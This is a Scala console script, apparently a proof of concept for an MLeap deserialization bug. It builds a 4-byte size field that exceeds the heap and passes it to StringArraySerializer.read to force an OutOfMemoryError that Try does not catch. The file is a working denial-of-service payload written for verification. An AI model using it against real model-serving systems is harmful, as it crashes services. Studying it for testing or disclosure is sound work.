import ml.combust.bundle.tensor.StringArraySerializer
import java.io.{ByteArrayInputStream, DataInputStream}
import java.nio.{ByteBuffer, ByteOrder}

val maxMem = Runtime.getRuntime.maxMemory()
println(s"JVM Runtime.getRuntime.maxMemory() for THIS console session = $maxMem bytes (~${maxMem / (1024*1024)} MB)")

// Choose a declared size comfortably ABOVE this JVM's actual max heap, so the allocation is
// guaranteed to fail deterministically against the real ceiling of this specific process,
// rather than relying on hitting the ~2GiB/Int.MaxValue JVM-wide array-length limit (which would
// require a much larger, riskier request in a shared session). Still representative of the same
// bug class: a 4-byte attacker payload requesting far more than is actually available.
val requestedSize: Int = {
  val candidate = maxMem + 200L * 1024 * 1024 // maxMemory + 200MB, guaranteed OOM on this heap
  if (candidate > Int.MaxValue - 16) Int.MaxValue - 16 else candidate.toInt
}
println(s"Requested array size (attacker-controlled 4-byte int in the .mleap tensor) = $requestedSize bytes (~${requestedSize / (1024*1024)} MB)")

// Build the 4-byte payload exactly as StringArraySerializer.read expects: a big-endian Int32
// (java.io.DataInputStream.readInt()) followed by (in the real bug) NOT enough actual data --
// here we omit the string entries entirely, since the crash happens at `new Array[Byte](size)`
// BEFORE any subsequent bytes are read.
val buf = ByteBuffer.allocate(4).order(ByteOrder.BIG_ENDIAN)
buf.putInt(requestedSize)
val payload: Array[Byte] = buf.array()
println(s"Payload size actually present in the malicious .mleap tensor value: ${payload.length} bytes")

println("\n=== Calling the REAL library function StringArraySerializer.read(payload) directly ===")

// Mimic how the real code path calls this: TensorSerializer.fromProto wraps the call, and the
// library's OWN read() already uses `Try{...}` internally (ArraySerializer.scala) which is built
// on `scala.util.control.NonFatal` -- NonFatal explicitly excludes VirtualMachineError (the
// superclass of OutOfMemoryError). To verify that claim empirically, we wrap the call in BOTH:
//  1. a scala.util.Try (idiomatic Scala error handling, what a typical caller/framework uses)
//  2. a raw catch (t: Throwable) as a control, to prove the OOM DOES exist and IS catchable if
//     you go out of your way to catch Throwable specifically (which the library code does not).
import scala.util.Try

print("[1] Try{ StringArraySerializer.read(payload) } ... ")
val tryResult = Try {
  StringArraySerializer.read(payload)
}
tryResult match {
  case scala.util.Success(v) => println(s"[UNEXPECTED SUCCESS] got: $v")
  case scala.util.Failure(e) => println(s"[Try CAUGHT IT] ${e.getClass.getName}: ${e.getMessage}")
}

println("\n[2] raw catch (t: Throwable) as a control, to confirm the OOM is real and only a Throwable-level catch sees it:")
try {
  val v = StringArraySerializer.read(payload)
  println(s"[UNEXPECTED SUCCESS] got: $v")
} catch {
  case t: Throwable =>
    println(s"[Throwable-level catch caught it] ${t.getClass.getName}: ${t.getMessage}")
}

println("\n=== DONE ===")